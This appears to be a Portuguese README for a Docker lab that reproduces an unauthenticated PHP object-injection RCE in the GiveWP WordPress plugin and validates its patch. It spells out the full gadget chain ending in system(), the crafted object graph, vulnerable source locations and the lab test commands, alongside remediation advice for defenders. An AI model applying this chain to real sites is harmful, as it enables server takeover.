
# Laboratório Docker Autorizado e PoC Limpo para Validar o RCE CVE-2026-82222 no GiveWP 4.16.5.1 e a Correção 4.16.7.2
Material de pesquisa em segurança para reproduzir e validar CVE-2026-82222 em um laboratório Docker isolado.
Para PoC de RCE direto e varredura de URL, use CVE-2026-8222-RCE.py
Status: comprovado no laboratório fornecido
O GiveWP 4.16.5.1 permite que um atacante inicialmente não autenticado persista um grafo de objetos PHP, o reviva por meio do gerenciamento de sessão do GiveWP e execute um comando marcador fixo como o usuário do servidor web WordPress.
Resultado positivo testado:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Resultado: /tmp/CVE-2026-82222-RCE-GETBAG criado por www-data
O resultado de ponta a ponta também foi reproduzido contra o código-fonte original, não instrumentado, do GiveWP 4.16.5.1. O GiveWP 4.16.7.2 bloqueou o transportador HTTP na configuração testada e bloqueou de forma independente o gadget terminal durante um controle direto.
Isso demonstra execução de comandos dentro do contêiner WordPress. Não demonstra acesso root, escape de contêiner, movimento lateral ou comprometimento do host.
Use este repositório somente em sistemas que você possui ou para os quais está explicitamente autorizado a testar.
O PoC fornecido é intencionalmente restrito:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.O teste HTTP cria um usuário doador descartável, metadados e linhas de sessão do GiveWP. Use o comando de redefinição incluído após o teste.
Pré-requisitos:
curlunzipsha256sum ou shasumdownloads.wordpress.org para arquivos oficiais do pluginExecute a matriz completa vulnerável/corrigido:
./lab verify
O comando:
ProviderForwarder também rejeita o callable de string.O laboratório corrigido permanece em execução ao final. Remova-o com:
./lab reset
Para usar outra porta de loopback:
LAB_PORT=8099 ./lab verify
O controle vulnerável deve terminar com evidência terminal concreta:
[PASS] E1: registro não autenticado emitiu cookie de autenticação
[PASS] E3: grafo serializado persistido no próprio last_name
[PASS] E4: nonce de formulário de doação obtido
[PASS] E5: gravação de sessão atingiu o status HTTP pós-sink esperado=500
[PASS] E6: gatilho de leitura/destruição de sessão concluído
marcador presente e de propriedade do usuário web WordPress
RESULTADO: CONTROLE VULNERÁVEL CONFIRMADO
O controle corrigido deve mostrar:
[PASS] P1: gate de registro corrigido bloqueou cookie de autenticação
DIRECT_MARKER=ausente
marcador HTTP ausente e gadget terminal direto bloqueado
RESULTADO: CONTROLE CORRIGIDO CONFIRMADO
Um HTTP 500, payload armazenado, exceção ou detecção sem o marcador não é aceito como prova de RCE.
Inicie e teste a versão vulnerável:
./lab start vulnerable
./lab test
Inicie e teste a versão corrigida:
./lab start patched
./lab test
Inspecione o estado atual:
./lab status
Remova contêineres, volumes, usuários de teste, sessões e estado do marcador:
./lab reset
ZIPs de plugins em cache e ativos extraídos são preservados para reexecuções mais rápidas. Remova também esses ativos gerados exatos com:
./lab reset --purge-assets
| Versão | Avaliação |
|---|---|
| GiveWP 4.16.5.1 | RCE reproduzido de ponta a ponta |
| GiveWP 4.16.6–4.16.7.1 | Relatado como afetado; não reproduzido individualmente aqui |
| GiveWP 4.16.7.2 | Controles negativos corrigidos reproduzidos |
| Versões posteriores | Não testadas individualmente; atualize para a versão suportada mais recente |
O aviso público identifica as versões até 4.16.7.1 como afetadas. Este repositório prova diretamente apenas as duas versões em sua matriz de testes positivo/negativo.
Referências:
A exploração combina vários comportamentos:
Give\Helpers\Utils::maybeSafeUnserialize() usa
allowed_classes => false, produzindo __PHP_Incomplete_Class, mas uma
serialização posterior preserva os nomes e propriedades de classe originais.maybe_unserialize() irrestrito posterior revive as classes fornecidas.system().Quatro barras invertidas literais de namespace são necessárias no transportador HTTP. As duas
passagens efetivas de remoção as reduzem 4 -> 2 -> 1. O payload é livre de NUL,
e o PHP 8.1.30 foi verificado para hidratar o nome serializado simples para a propriedade
privada Session::$attributeName.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Grafo controlado pelo atacante:
TCPDF
├── file_id = identificador único de requisição
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = comando marcador fixo
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
A transição oculta crítica é o despacho implícito de IteratorAggregate
do PHP. TCPDF::$imagekeys não é tipado, então atribuir uma Session do Symfony
faz com que foreach invoque Session::getIterator().
O comando marcador é executado antes que o Symfony aplique o
tipo de retorno getAttributeBag(): AttributeBagInterface. O TypeError
resultante e o HTTP 500 são efeitos pós-sink.
O grafo candidato rejeitado usava:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
Esse grafo não pode funcionar. TCPDF::_destroy() apenas remove objcopy; o PHP não
roteia a destruição automática por meio de __call('__destruct', ...).
A operação ausente era:
foreach ($this->imagekeys as $file) {
A revisão anterior seguiu destrutores e chamadas de método explícitas, mas não
inspecionou recursivamente o protocolo de objeto implícito acionado por foreach.
A Session do Symfony fornece a ponte ausente:
foreach invoca getIterator().getIterator() alcança getBag($attributeName).storage controlado pelo atacante é um DonationFactory.getBag indefinido invoca ProviderForwarder::__call().loadedProviders['getBag'] = 'system' seleciona o callable.attributeName fornece o argumento do comando.Locais relevantes do GiveWP 4.16.5.1:
| Componente | Localização |
|---|---|
| Unserialize inicial protegido | src/Helpers/Utils.php:203-217,237-241 |
| Transportador de doação | includes/process-donation.php:157 |
| Persistência de sessão do GiveWP | includes/class-give-session.php:364-368,489-508 |
| Revivificação irrestrita de sessão | includes/class-give-session.php:347-350 |
| Destrutor TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| Iteração controlada pelo atacante | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| Ponte de iterador Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
Ponte getBag do Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| Callable terminal | src/TestData/Framework/ProviderForwarder.php:19-23 |
| Autoloaders Composer do GiveWP | give.php:624-625 |
Hashes oficiais das versões:
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
O laboratório reextrai cada plugin de seu ZIP verificado antes de cada início novo, copia-o para o WordPress sem modificação e compara byte a byte a árvore completa de arquivos do plugin implantado com o código-fonte verificado. As três imagens base oficiais do Docker também são fixadas em seus digests de manifesto multiarquitetura.
O GiveWP 4.16.7.2 adiciona defesas independentes em registro, tratamento de entrada serializada, revivificação de sessão, migração de dados e endurecimento de gadgets.
O endurecimento terminal exige que o objeto resolvido implemente o contrato esperado de provedor:
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
A string system controlada pelo atacante é, portanto, rejeitada. O controle
direto neste repositório ignora o transportador HTTP e verifica que essa
defesa terminal sozinha deixa seu marcador ausente.
Um resultado negativo de PoC por si só não prova que um site está corrigido. Um WAF, roteamento diferente, registro desabilitado, formulário legado ausente, configuração de sessão ou funções de comando PHP desabilitadas podem todos impedir o marcador em uma base de código ainda vulnerável.
Procedimento de validação preferido:
Verificação de versão:
wp plugin get give --fields=name,status,version
Atualize o GiveWP para a versão suportada mais recente. Após a atualização:
TCPDF, Session
do Symfony ou loadedProviders.Se uma instalação vulnerável exposta à internet contiver artefatos de injeção de objetos, trate-a como um possível comprometimento em vez de apenas atualizar o plugin.
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
Não comprometidos:
ZIPs oficiais de plugins
código-fonte extraído do GiveWP
código-fonte do alvo instrumentado
cookies ou dados de sessão
evidências/logs de execução
endereços internos de destino ou credenciais reutilizáveis
payloads objcopy obsoletos
saída histórica de validação
| Afirmação | Status |
|---|---|
| Transportador persistente de injeção de objetos PHP | Comprovado |
| Revivificação de classes fornecidas | Comprovado |
| Cadeia POP completa de estoque | Comprovado |
| Marcador fixo executado como usuário web | Comprovado |
| Reprodução contra 4.16.5.1 original | Comprovado |
| Controles negativos contra 4.16.7.2 original | Comprovado |
| Todas as versões afetadas intermediárias testadas | Não testado |
| Privilégio root | Não afirmado |
| Escape de contêiner | Não testado |
| Comprometimento do host | Não testado |
O padrão de prova é deliberadamente estrito: somente um marcador de comando observável por meio da cadeia de estoque não modificada é rotulado como RCE. Aceitação HTTP, serialização, exceções e detecções são evidências intermediárias.